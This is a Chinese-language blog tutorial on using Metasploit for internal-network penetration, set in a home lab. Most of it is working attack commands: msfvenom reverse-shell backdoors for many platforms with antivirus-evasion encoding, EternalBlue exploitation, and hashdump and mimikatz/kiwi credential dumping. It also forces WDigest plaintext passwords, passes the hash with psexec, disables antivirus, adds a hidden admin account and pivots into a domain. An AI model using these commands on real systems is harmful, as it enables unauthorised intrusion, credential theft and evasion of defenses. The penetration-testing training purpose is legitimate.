内网MSF--从入门到熟练

2023-12-25 18:28
文章标签 入门 内网 熟练 msf

本文主要是介绍内网MSF--从入门到熟练,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

Metasploit就是一个漏洞框架。它的全称叫做The Metasploit Framework,简称叫做MSF。Metasploit
作为全球最受欢迎的工具,不仅仅是因为它的方便性和强大性,更重要的是它的框架。它允许使用者开
发自己的漏洞脚本,从而进行测试。

一:基础命令

1.启动

shell中运行msfconlose
image.png

2.建立数据库

MSF数据库是为了得到的结果存入数据库,首次运行msf会发现没有连接数据库,需要自己手工建立。
db_status
image.png
可以看到是PostgreSQL数据库,启动一下

service postgresql start    #启动数据库
msfdb init        #初始化数据库
msfconsole db_status       #查看连接情况
msfconsole db_rebuild_cache       #建立数据库缓存

启动数据库后可能还是会出现连不上的问题
image.png
exit先退出来,在外边shell启动数据库

msfdb start               #启动
netstat -pantu | grep 5432         #查看端口

image.png
再进入msf,此时数据库应该已经连接。
image.png

常用命令

show exploits – 查看所有可用的渗透攻击程序代码
show auxiliary – 查看所有可用的辅助攻击工具
show options – 查看该模块所有可用选项
show payloads – 查看该模块适用的所有载荷代码
show targets – 查看该模块适用的攻击目标类型
search – 根据关键字搜索某模块
info – 显示某模块的详细信息
use – 进入使用某渗透攻击模块
back – 回退 set/unset – 设置/禁用模块中的某个参数
setg/unsetg – 设置/禁用适用于所有模块的全局参数
save – 将当前设置值保存下来,以便下次启动MSF终端时仍可使用
Cd 更改当前的工作目录
核心命令
Sessions 转储会话列表并显示有关会话的信息
Color 切换颜色
Set 将特定于上下文的变量设置为一个值
Connect 连接与主机通信
Setg 将全局变量设置为一个值
exit 退出控制台
sleep 在指定的秒数内不做任何事情
get 获取特定于上下文的变量的值
spool 将控制台输出写入文件以及屏幕
getg 获取全局变量的值
threads 线程查看和操作后台线程
grep grep 另一个命令的输出
unload 卸载框架插件
history 显示命令历史
unset 取消设置一个或多个特定于上下文的变量
irb 进入irb脚本模式
unsetg 取消设置一个或多个全局变量
load 加载一个框架插件
version 显示框架和控制台库版本号
quit 退出控制台
route 通过会话路由流量
save 保存活动的数据存储
数据库后端命令
analyze 分析有关特定地址或地址范围的数据库信息
db_connect 连接到现有数据服务
db_disconnect 断开与当前数据服务的连接
db_export 导出包含数据库内容的文件
db_import 导入扫描结果文件(将自动检测文件类型)
db_nmap 执行nmap并自动记录输出
db_rebuild_cache 重建数据库存储的模块高速缓存
db_remove 删除已保存的数据服务条目
db_save 将当前数据服务连接保存为启动时重新连接的默认值
db_status 显示当前数据服务状态
hosts 列出数据库中的所有主机
loot 列出数据库中的所有战利品
notes 列出数据库中的所有注释
services 列出数据库中的所有服务
vulns 列出数据库中的所有漏洞
workspace 在数据库工作区之间切换
凭据后端命令
creds 列出数据库中的所有凭据
模块命令
Advanced 显示一个或多个模块的高级选项
Back 从当前上下文返回
Edit 使用首选编辑器编辑当前模块
info 显示有关一个或多个模块的信息
loadpath 路径从路径搜索并加载模块
options 显示全局选项或一个或多个模块
popm 将最新的模块从堆栈中弹出并使其处于活动状态
previous 将之前加载的模块设置为当前模块
pushm 将活动或模块列表推入模块堆栈
reload_all 从所有定义的模块路径重新加载所有模块
search 搜索模块名称和描述
show 显示给定类型的模块或所有模块
use 按名称选择模块
enumdesktops #查看可用的桌面
getdesktop #获取当前meterpreter 关联的桌面
setdesktop #设置meterpreter关联的桌面 -h查看帮助
screenshot #截屏
run vnc #使用vnc远程桌面连接

二:msfvenom

在MSF中,一般我们生成payload程序后门之类的都是用msfvenom,msfvenom是攻击载荷生成和编码器。

1.主要参数

-p payload
-e 编码方式,指定编码器,可以实现免杀
-i 编码次数。指定编码迭代次数,一般配合免杀使用
-b: 去掉坏字符,坏字符会影响payload 正常执行
LHOST,LPORT 监听上线的主机IP和端口
-f 指定生成格式,如exe 生成EXE格式
-o 指定文件名称和导出位置
-l 可以查看可以利用payload
msfvenom -l
| grep windows | grep x64 | grep tcp 选择payload

2.生成可执行文件

使用msfvenom生成可执行的后门文件,各种文件生成命令如下:
linux
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=IP LPORT=Port shell.elf
image.png
Windows
msfvenom -p windows/meterpreter/reverse_tcp LHOST=IP LPORT= Port -f exe > shell.exe
image.png
Mac:
msfvenom -p osx/x86/shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f macho > shell.macho
PHP:
msfvenom -p php/meterpreter_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.php
cat shell.php | pbcopy && echo '<?php ' | tr -d '\n' > shell.php && pbpaste >> shell.php
ASP:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f asp > shell.asp
JSP:
msfvenom -p java/jsp_shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.jsp
WAR:
msfvenom -p java/jsp_shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f war > shell.war
Python:
msfvenom -p cmd/unix/reverse_python LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.py
Bash:
msfvenom -p cmd/unix/reverse_bash LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.sh
Perl:
msfvenom -p cmd/unix/reverse_perl LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.pl

3.设置监听

use exploit/multi/handler #使用监听模块
set payload windows/x64/meterpreter/reverse_tcp
show options
set LHOST 172.16.0.4
set ExitOnSession false  #让connection保持连接
exploit     #攻击,可以添加参数,-j(计划任务下进行攻击,后台) -z(攻击完成不遇会话交互)

其他命令

jobs 查看后台攻击任务
kill <id> 停止某后台攻击任务
sessions -l (查看会话)
backgroup 放置后台
sessions 1 选择会话
sessions -k 1 结束会话
Ctrl+z 把会话放到后台
Ctrl+c 结束会话

4.实验

目标靶机:
Windows server 2008: 192.168.200.130
攻击机:
kali linux : 192.168.200.128

msf生成攻击payload
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.200.128 LPORT=4444 -f exe > shell.exe
image.png
msf启动监听
use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp
设置options
image.png
exploit
image.png
kali开启http服务模拟投毒web站点
image.png
此时Windows用户下载并运行shell.exe,获取到对方权限
image.png
可以看到这里的meterpreter并不是一个可以执行命令的shell

三:Meterpreter后渗透

Meterpreter是Metasploit框架中的一个扩展模块,作为溢出成功以后的攻击载荷使用,攻击载荷在溢出攻击成功以后给我们返回一个控制通道。使用它作为攻击载荷能够获得目标系统的一个Meterpreter shell的链接。Meterpreter shell作为渗透模块有很多有用的功能,比如添加一个用户、隐藏一些东西、打开shell、得到用户密码、上传下载远程主机的文件、运行cmd.exe、捕捉屏幕、得到远程控制权、捕获按键信息、清除应用程序、显示远程主机的系统信息、显示远程机器的网络接口和IP地址等信息。

1.常用命令

帮助菜单

background – 将当前会话移动到背景bgkill – 杀死一个背景 meterpreter 脚本bglist – 提供所有正在运行的后台脚本的列表bgrun – 作为一个后台线程运行脚本channel – 显示活动频道close – 关闭通道exit – 终止 meterpreter 会话help – 帮助菜单interact – 与通道进行交互irb – 进入 Ruby 脚本模式migrate – 移动到一个指定的 PID 的活动进程quit – 终止 meterpreter 会话read – 从通道读取数据run – 执行以后它选定的 meterpreter 脚本use – 加载 meterpreter 的扩展write – 将数据写入到一个通道

文件系统命令

cat -读取并输出到标准输出文件的内容cd -更改目录对受害人del -删除文件对受害人download-从受害者系统文件下载edit-用 vim编辑文件getlwd -打印本地目录getwd -打印工作目录lcd -更改本地目录lpwd -打印本地目录ls -列出在当前目录中的文件列表mkdir -在受害者系统上的创建目录pwd -输出工作目录rm -删除文件rmdir -受害者系统上删除目录upload-从攻击者的系统往受害者系统上传文件

网络命令

ipconfig -显示网络接口的关键信息,包括 IP 地址、 等。portfwd -端口转发route -查看或修改受害者路由表

系统命令

clearav -清除了受害者的计算机上的事件日志drop_token -被盗的令牌execute-执行命令getpid -获取当前进程 ID (PID)getprivs -尽可能获取尽可能多的特权getuid -获取作为运行服务器的用户kill -终止指定 PID 的进程ps -列出正在运行的进程reboot-重新启动受害人的计算机reg -与受害人的注册表进行交互rev2self -在受害者机器上调用 RevertToSelf()shell -在受害者计算机上打开一个shellshutdown-关闭了受害者的计算机steal_token -试图窃取指定的 (PID) 进程的令牌sysinfo -获取有关受害者计算机操作系统和名称等的详细信息

用户界面命令

enumdesktops -列出所有可访问台式机getdesktop -获取当前的 meterpreter 桌面idletime -检查长时间以来,受害者系统空闲进程keyscan_dump -键盘记录软件的内容转储keyscan_start -启动时与如 Word 或浏览器的进程相关联的键盘记录软件keyscan_stop -停止键盘记录软件screenshot-抓去 meterpreter 桌面的屏幕截图set_desktop -更改 meterpreter 桌面uictl -启用用户界面组件的一些控件

特权升级命令

getsystem -获得系统管理员权限

密码转储命令

hashdump -抓去哈希密码 (SAM) 文件中的值

下面是我常用的一些命令

meterpreter > background 放回后台
meterpreter > exit 关闭会话
meterpreter > help 帮助信息
meterpreter > Sysinfo 系统平台信息
meterpreter > screenshot 屏幕截取
meterpreter > shell 命令行shell (exit退出)
meterpreter > getlwd 查看本地目录
meterpreter > lcd 切换本地目录
meterpreter > getwd 查看目录
meterpreter > ls 查看文件目录列表
meterpreter > cd 切换目录
meterpreter > rm 删除文件
meterpreter > download C:\\Users\\123\\Desktop\\1.txt 1.txt 下载文件
meterpreter > upload /var/www/wce.exe wce.exe 上传文件
meterpreter > search -d c: -f *.doc 搜索文件
meterpreter > execute -f cmd.exe -i 执行程序/命令
meterpreter > ps 查看进程
meterpreter > run post/windows/capture/keylog_recorder 键盘记录
meterpreter > getuid 查看当前用户权限
meterpreter > use priv 加载特权模块
meterpreter > getsystem 提升到SYSTEM权限
meterpreter > hashdump 导出密码散列
meterpreter > ps 查看高权限用户PID
meterpreter > steal_token <PID> 窃取令牌
meterpreter > rev2self 恢复原来的令牌
meterpreter > migrate pid 迁移进程
meterpreter > run killav 关闭杀毒软件
meterpreter > run getgui-e 启用远程桌面
meterpreter > portfwd add -l 1234 -p 3389 -r <目标IP> 端口转发
meterpreter > run get_local_subnets 获取内网网段信息
meterpreter > run autoroute -s <内网网段> 创建自动路由
meterpreter > run autoroute -p 查看自动路由表
创建代理通道:
msf > use auxiliary/server/socks4a 设置socks4代理模块
msf auxiliary(socks4a) > show options
msf auxiliary(socks4a) > run
配置proxychains参数:
nano /etc/proxychains.conf 修改代理监听端口,和前面端口一致
quite_mode 设置成安静模式:去掉如下参数前面的注释

image.pngimage.png

四:MSF实现自动化攻击

metasploit-autopwn是一个很强大的模块,能够让MSF实现对目标的全自动化渗透测试。
项目地址:
https://github.com/hahwul/metasploit-autopwn
1.安装metasploit-autopwn模块

cd /usr/share/metasploit-framework/plugins
git clone https://github.com/hahwul/metasploit-db_autopwn.git
cd metasploit-db_autopwn/
mv db_autopwn.rb /usr/share/metasploit-framework/plugins/

image.png
启动msf加载模块
load db_autopwn
image.png
如下可实现对任何连接到系统8000端口的目标进行自动化渗透攻击。

msf6 > load db_autopwn
[*] Successfully loaded plugin: db_autopwn
msf6 > use auxiliary/server/browser_autopwn
msf6 auxiliary(server/browser_autopwn) > optionsModule options (auxiliary/server/browser_autopwn):Name     Current Setting  Required  Description----     ---------------  --------  -----------LHOST                     yes       The IP address to use for reverse-connect payloadsSRVHOST  0.0.0.0          yes       The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0to listen on all addresses.SRVPORT  8080             yes       The local port to listen on.SSL      false            no        Negotiate SSL for incoming connectionsSSLCert                   no        Path to a custom SSL certificate (default is randomlygenerated)URIPATH                   no        The URI to use for this exploit (default is random)Auxiliary action:Name       Description----       -----------WebServer  Start a bunch of modules and direct clients to appropriate exploitsView the full module info with the info, or info -d command.msf6 auxiliary(server/browser_autopwn) > set rhosts 192.168.200.130
[!] Unknown datastore option: rhosts. Did you mean URIHOST?
rhosts => 192.168.200.130
msf6 auxiliary(server/browser_autopwn) > set srvport 8000
srvport => 8000
msf6 auxiliary(server/browser_autopwn) > set lhost 192.168.200/128
[-] The following options failed to validate: Value '192.168.200/128' is not valid for option 'LHOST'.
lhost => 
msf6 auxiliary(server/browser_autopwn) > set LHOST 192.168.200.128
LHOST => 192.168.200.128
msf6 auxiliary(server/browser_autopwn) > set uripath /
uripath => /
msf6 auxiliary(server/browser_autopwn) > exploit
[*] Running module against 192.168.200.130
[*] Auxiliary module running as background job 0.[*] Setup
msf6 auxiliary(server/browser_autopwn) > 
[*] Starting exploit modules on host 192.168.200.128...
[*] ---[*] Starting exploit android/browser/webview_addjavascriptinterface with payload android/meterpreter/reverse_tcp......[*] Starting handler for java/meterpreter/reverse_tcp on port 7777
[*] Started reverse TCP handler on 192.168.200.128:6666 
[*] Started reverse TCP handler on 192.168.200.128:7777 [*] --- Done, found 0 exploit modules[-] No exploits, check your MATCH and EXCLUDE settings
[*] Cleaning up exploits...

五:内网实验

目标主机:
Windows server 2008 (192.168.200.130)存在ms17010永恒之蓝漏洞

MS17010攻击

use exploit/windows/smb/ms17_010_eternalblue
set payload windows/x64/meterpreter/reverse_tcp
set RHOSTS 192.168.200.130
exploit

image.png
获取meterpreter

抓取目标主机密码

使用hashdump抓取密码
image.png
得到目标主机hash值
注:mimikatz在新版本msf中已经取消,mimikatz模块已经合并为kiwi模块
image.png
常用命令

load kiwicreds_all:列举所有凭据
creds_kerberos:列举所有kerberos凭据
creds_msv:列举所有msv凭据
creds_ssp:列举所有ssp凭据
creds_tspkg:列举所有tspkg凭据
creds_wdigest:列举所有wdigest凭据
dcsync:通过DCSync检索用户帐户信息
dcsync_ntlm:通过DCSync检索用户帐户NTLM散列、SID和RID
golden_ticket_create:创建黄金票据
kerberos_ticket_list:列举kerberos票据
kerberos_ticket_purge:清除kerberos票据
kerberos_ticket_use:使用kerberos票据
kiwi_cmd:执行mimikatz的命令,后面接mimikatz.exe的命令
lsa_dump_sam:dump出lsa的SAM
lsa_dump_secrets:dump出lsa的密文
password_change:修改密码
wifi_list:列出当前用户的wifi配置文件
wifi_list_shared:列出共享wifi配置文件/编码

creds_all命令直接获取密码
image.png
由于mimikatz只是集成在了kiwi模块中,如果想使用mimikatz命令也是可以kiwi_cmd直接实现的,kiwi_cmd 模块可以让我们使用mimikatz的全部功能。
image.png
在Windows2012系统及以上的系统,默认在内存缓存中禁止保存明文密码的。攻击者可以通过修改注册
表的方式抓取明文,需要用户重新登录后才能成功抓取

reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v
UseLogonCredential /t REG_DWORD /d 1 /f

psexec

MSF中也是有psexec模块的,抓取到hash密码后

use exploit/windows/smb/psexec
set SMBUser Administrator
set smbpass aad3b435b51404eeaad3b435b51404ee:ae74afe74b7c6c328c901bf54a704396
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.200.128
set lport 6666
set rhosts 192.168.200.130
exploit

image.png

开启远程桌面

shell开启

REG查看RDP端口

REG query HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\WinStations\RDP-Tcp /v PortNumber

image.png
开启RDP

REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 0 /f
enable_rdp模块

enable_rdp模块可以实现开启RDP

run post/windows/manage/enable_rdp

image.png
验证开启
image.png
关闭

run multi_console_command -r /root/.msf4/loot/20231225131125_default_192.168.200.130_host.windows.cle_755971.txt
getgui模块
run getgui -e 开启远程终端
run post/windows/manage/enable_rdp
run getgui -u m -p QWEasd123 添加本地管理员

端口转发

如果服务器防火墙开启的情况下,有可能拦截远程终端端口,使用命令把远程端口3389转发出来
转发3389端口

portfwd add -l 1234 -p 3389 -r 192.168.200.130
rdesktop 127.0.0.1:1234

image.png
image.png

跨路由访问

在渗透测试过程中,经常拿到web主机与数据库不同在一个网段,可以得出这台主机还连着一个内网,
如果想要继续渗透内网,可以把这台web主机当作跳板机,对内网进行渗透

实验环境
域控:
windows2012
192.168.3.33
administrator/Admin12345域内成员主机:windows2008
192.168.3.22
192.168.200.134
administrator/admin!@#45
xd\dbadmin/admin!@#45域内成员主机:
windows7
192.168.3.11
administrator/admin!@#45
xd\dbadmin/admin!@#45攻击机:
kalilinux
192.168.200.128

kali不通192.168.3.0段
通过永恒之蓝拿到Windows2008的meterpreter
获取内网网卡命令
run get_local_subnets
image.png
绑定路由 不绑定路由就没法访问目标主机

run autoroute -s 192.168.3.0/24
route add 192.168.3.0 255.255.255.0 1
run autoroute -p

image.png
使用socks5隧道,这个代理就是开启了一个socks代理,监听vps本地端口,然后再通过这个端口将流量转给msf,msf转发给路由,所以能将流量直接带入到内网中
use auxiliary/server/socks_proxy
show options设置代理ip为127.0.0.1
image.png
编辑隧道配置文件
sudo vi /etc/proxychains4.conf
image.png
msf 使用代理访问目标

setg Proxies socks5:192.168.200.199:1080
set ReverseAllowProxy true

proxychains nmap -p 1-10000 -Pn -sT 192.168.3.11
image.png
成功代理打通网段

域信息收集

MSF常用信息收集模块

auxiliary/scanner/discovery/arp_sweep #基于arp协议发现内网存活主机,这不能通过代理使用
auxiliary/scanner/portscan/ack #基于tcp的ack回复进行端口扫描,默认扫描1-10000端口
auxiliary/scanner/portscan/tcp #基于tcp进行端口扫描,默认扫描1-10000端口
auxiliary/scanner/discovery/udp_sweep #基于udp协议发现内网存活主机
auxiliary/scanner/discovery/udp_probe #基于udp协议发现内网存活主机
auxiliary/scanner/netbios/nbname #基于netbios协议发现内网存活主机
auxiliary/scanner/ftp/ftp_version #发现内网ftp服务,基于默认21端口
auxiliary/scanner/ssh/ssh_version #发现内网ssh服务,基于默认22端口
auxiliary/scanner/telnet/telnet_version #发现内网telnet服务,基于默认23端口
auxiliary/scanner/dns/dns_amp #发现dns服务,基于默认53端口
auxiliary/scanner/http/http_version #发现内网http服务,基于默认80端口
auxiliary/scanner/http/title #探测内网http服务的标题
auxiliary/scanner/smb/smb_version #发现内网smb服务,基于默认的445端口
use auxiliary/scanner/mssql/mssql_schemadump #发现内网SQLServer服务,基于默认的1433端口
use auxiliary/scanner/oracle/oracle_hashdump #发现内网oracle服务,基于默认的1521端口
auxiliary/scanner/mysql/mysql_version #发现内网mysql服务,基于默认3306端口
auxiliary/scanner/rdp/rdp_scanner #发现内网RDP服务,基于默认3389端口
auxiliary/scanner/redis/redis_server #发现内网Redis服务,基于默认6379端口
auxiliary/scanner/db2/db2_version #探测内网的db2服务,基于默认的50000端口
auxiliary/scanner/netbios/nbname

收集域信息

run post/windows/gather/enum_logged_on_users #查看登录过的用户信息
run post/windows/gather/enum_ad_groups #查看组信息
run post/windows/gather/enum_domain #定位域控
run post/windows/gather/enum_ad_computers #域内所有机器
use post/windows/gather/enum_patches #发现缺失的补丁
use post/multi/recon/local_exploit_suggester #快速识别可能被利用的漏洞
run post/windows/manage/migrate #自动进程迁移
run post/windows/gather/checkvm #查看目标主机是否运行在虚拟机上
run post/windows/manage/killav #关闭杀毒软件
run post/windows/manage/enable_rdp #开启远程桌面服务
run post/windows/manage/autoroute #查看路由信息
run post/windows/gather/enum_logged_on_users #列举当前登录的用户
run post/windows/gather/enum_applications #列举应用程序
run post/windows/gather/credentials/windows_autologin #抓取自动登录
的用户名和密码
run post/windows/gather/smart_hashdump #dump出所有用户的hash
run post/windows/gather/enum_domain_tokens #寻找域token

定位域控、抓取密码、查看域内主机
image.png

密码喷洒

auxiliary/gather/kerberos_enumusers #Kerberos 用户名枚举–用户名字典
set DOMAIN XIAODI.LOCAL
set rhosts 192.168.200.134
set user_file 字典路径
exploirt

image.png

这篇关于内网MSF--从入门到熟练的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/536480

相关文章

Spring Security 从入门到进阶系列教程

Spring Security 入门系列 《保护 Web 应用的安全》 《Spring-Security-入门(一):登录与退出》 《Spring-Security-入门(二):基于数据库验证》 《Spring-Security-入门(三):密码加密》 《Spring-Security-入门(四):自定义-Filter》 《Spring-Security-入门(五):在 Sprin

数论入门整理(updating)

一、gcd lcm 基础中的基础,一般用来处理计算第一步什么的,分数化简之类。 LL gcd(LL a, LL b) { return b ? gcd(b, a % b) : a; } <pre name="code" class="cpp">LL lcm(LL a, LL b){LL c = gcd(a, b);return a / c * b;} 例题:

Java 创建图形用户界面(GUI)入门指南(Swing库 JFrame 类)概述

概述 基本概念 Java Swing 的架构 Java Swing 是一个为 Java 设计的 GUI 工具包,是 JAVA 基础类的一部分,基于 Java AWT 构建,提供了一系列轻量级、可定制的图形用户界面(GUI)组件。 与 AWT 相比,Swing 提供了许多比 AWT 更好的屏幕显示元素,更加灵活和可定制,具有更好的跨平台性能。 组件和容器 Java Swing 提供了许多

【IPV6从入门到起飞】5-1 IPV6+Home Assistant(搭建基本环境)

【IPV6从入门到起飞】5-1 IPV6+Home Assistant #搭建基本环境 1 背景2 docker下载 hass3 创建容器4 浏览器访问 hass5 手机APP远程访问hass6 更多玩法 1 背景 既然电脑可以IPV6入站,手机流量可以访问IPV6网络的服务,为什么不在电脑搭建Home Assistant(hass),来控制你的设备呢?@智能家居 @万物互联

poj 2104 and hdu 2665 划分树模板入门题

题意: 给一个数组n(1e5)个数,给一个范围(fr, to, k),求这个范围中第k大的数。 解析: 划分树入门。 bing神的模板。 坑爹的地方是把-l 看成了-1........ 一直re。 代码: poj 2104: #include <iostream>#include <cstdio>#include <cstdlib>#include <al

MySQL-CRUD入门1

文章目录 认识配置文件client节点mysql节点mysqld节点 数据的添加(Create)添加一行数据添加多行数据两种添加数据的效率对比 数据的查询(Retrieve)全列查询指定列查询查询中带有表达式关于字面量关于as重命名 临时表引入distinct去重order by 排序关于NULL 认识配置文件 在我们的MySQL服务安装好了之后, 会有一个配置文件, 也就

音视频入门基础:WAV专题(10)——FFmpeg源码中计算WAV音频文件每个packet的pts、dts的实现

一、引言 从文章《音视频入门基础:WAV专题(6)——通过FFprobe显示WAV音频文件每个数据包的信息》中我们可以知道,通过FFprobe命令可以打印WAV音频文件每个packet(也称为数据包或多媒体包)的信息,这些信息包含该packet的pts、dts: 打印出来的“pts”实际是AVPacket结构体中的成员变量pts,是以AVStream->time_base为单位的显

C语言指针入门 《C语言非常道》

C语言指针入门 《C语言非常道》 作为一个程序员,我接触 C 语言有十年了。有的朋友让我推荐 C 语言的参考书,我不敢乱推荐,尤其是国内作者写的书,往往七拼八凑,漏洞百出。 但是,李忠老师的《C语言非常道》值得一读。对了,李老师有个官网,网址是: 李忠老师官网 最棒的是,有配套的教学视频,可以试看。 试看点这里 接下来言归正传,讲解指针。以下内容很多都参考了李忠老师的《C语言非

MySQL入门到精通

一、创建数据库 CREATE DATABASE 数据库名称; 如果数据库存在,则会提示报错。 二、选择数据库 USE 数据库名称; 三、创建数据表 CREATE TABLE 数据表名称; 四、MySQL数据类型 MySQL支持多种类型,大致可以分为三类:数值、日期/时间和字符串类型 4.1 数值类型 数值类型 类型大小用途INT4Bytes整数值FLOAT4By

【QT】基础入门学习

文章目录 浅析Qt应用程序的主函数使用qDebug()函数常用快捷键Qt 编码风格信号槽连接模型实现方案 信号和槽的工作机制Qt对象树机制 浅析Qt应用程序的主函数 #include "mywindow.h"#include <QApplication>// 程序的入口int main(int argc, char *argv[]){// argc是命令行参数个数,argv是